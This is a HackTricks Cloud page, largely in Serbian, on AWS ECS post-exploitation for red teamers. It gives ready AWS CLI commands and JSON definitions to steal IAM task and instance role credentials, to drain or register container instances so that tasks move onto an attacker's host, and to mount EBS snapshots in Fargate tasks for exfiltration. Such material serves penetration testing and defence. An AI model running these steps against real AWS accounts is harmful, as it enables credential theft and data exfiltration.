AWS - ECS Post Exploitation
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
ECS
For more information check:
Host IAM Roles
U ECS-u se IAM role može dodeliti task-u koji se izvršava unutar containera. Ako se task izvršava na EC2 instanci, ta EC2 instance će imati prikačenu drugu IAM rolu.
Što znači da ako uspete da kompromitujete ECS instancu, potencijalno možete dobiti IAM rolu povezanu sa ECR i sa EC2 instancom. Za više informacija o tome kako doći do tih kredencijala, pogledajte:
Caution
IMDSv2 with a hop limit of 1 does not block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation for the full attack workflow and bypass notes. Recent Latacora research shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.
Privesc to node to steal other containers creds & secrets
Štaviše, EC2 koristi Docker za pokretanje ECS taskova, tako da ako možete da pobegnete na node ili pristupite docker socket-u, možete proveriti koji se drugi containeri izvršavaju, pa čak i ući u njih i ukrasti prikačene IAM role.
Making containers run in current host
Pored toga, EC2 instance role obično ima dovoljno permissions da ažurira container instance state EC2 instanci koje se koriste kao nodes u klasteru. Napadač bi mogao promeniti state instance u DRAINING, tada će ECS ukloniti sve taskove sa nje, a oni koji se pokreću kao REPLICA biće pokrenuti na drugoj instanci, potencijalno unutar napadačeve instance, tako da može ukrasti njihove IAM role i potencijalno osetljive informacije iz containera.
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
Ista tehnika se može izvesti tako što ćete odregistrovati EC2 instancu iz klastera. Ovo je potencijalno manje prikriveno, ali će primorati tasks da se pokrenu na drugim instancama:
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
Završna tehnika da bi se prisililo ponovno izvršavanje taskova je naznačiti ECS-u da je task ili container zaustavljen. Postoje 3 potencijalna API-ja za ovo:
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]
# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...
# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...
Pridruži se klasteru sa napadačkom hostom (Register Container Instance)
Još jedna varijanta (direktnija od draininga) je da dodate kapacitet koji kontrolišete u klaster registrujući EC2 instancu kao container instance (ecs:RegisterContainerInstance) i postavite potrebne atribute container instance tako da se placement constraints poklapaju. Kada zadaci budu raspoređeni na vaš host, možete pregledati/exec-ovati u kontejnere i prikupiti kredencijale sa AWS_CONTAINER_CREDENTIALS_RELATIVE_URI.
Pogledajte ECS privesc stranicu u sekciji o ecs:RegisterContainerInstance za ceo workflow.
Steal sensitive info from ECR containers
EC2 instanca će verovatno takođe imati permisiju ecr:GetAuthorizationToken koja joj omogućava da download images (možete pretražiti osetljive podatke u njima).
Steal Task Role Credentials via ecs:ExecuteCommand
Ako je ExecuteCommand omogućen na tasku, principal sa ecs:ExecuteCommand + ecs:DescribeTasks može otvoriti shell unutar pokrenutog containera i zatim query-ovati task credentials endpoint da prikupi kredencijale task role-a:
- Iz containera:
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" - Iskoristite vraćeni
AccessKeyId/SecretAccessKey/Tokenda pozivate AWS API-je kao task role
Pogledajte ECS privilege escalation stranicu za enumeraciju i primere komandi.
Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
Iskoristite native ECS EBS integraciju (2024+) da montirate sadržaj postojećeg EBS snapshot-a direktno unutar novog ECS taska/service-a i pročitate njegove podatke iz containera.
-
Potrebno (minimum):
-
ecs:RegisterTaskDefinition
-
Jedan od: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
-
iam:PassRole na:
-
ECS infrastructure role koja se koristi za volume-ove (policy:
service-role/AmazonECSInfrastructureRolePolicyForVolumes) -
Task execution/Task role-ovi referencirani u task definition-u
-
Ako je snapshot enkriptovan CMK: KMS dozvole za infra rolu (AWS managed policy iznad uključuje potrebne KMS grants za AWS managed keys).
-
Uticaj: Čitanje proizvoljnog sadržaja diska iz snapshot-a (npr. fajlovi baze podataka) unutar containera i eksfiltracija preko mreže/logova.
Koraci (Fargate primer):
- Kreirajte ECS infrastructure role (ako ne postoji) i pridružite managed policy:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
- Registrujte task definition sa volume označenim
configuredAtLaunchi montirajte ga u container. Primer (ispisuje secret pa zatim spava):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
- Kreirajte ili ažurirajte servis prosleđivanjem EBS snapshota preko
volumeConfigurations.managedEBSVolume(zahteva iam:PassRole na infra role). Primer:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
- Kada se task pokrene, container može pročitati sadržaj snapshot-a na konfigurisanom mount path-u (npr.
/loot). Exfiltrate via the task’s network/logs.
Čišćenje:
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read
Izvori
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

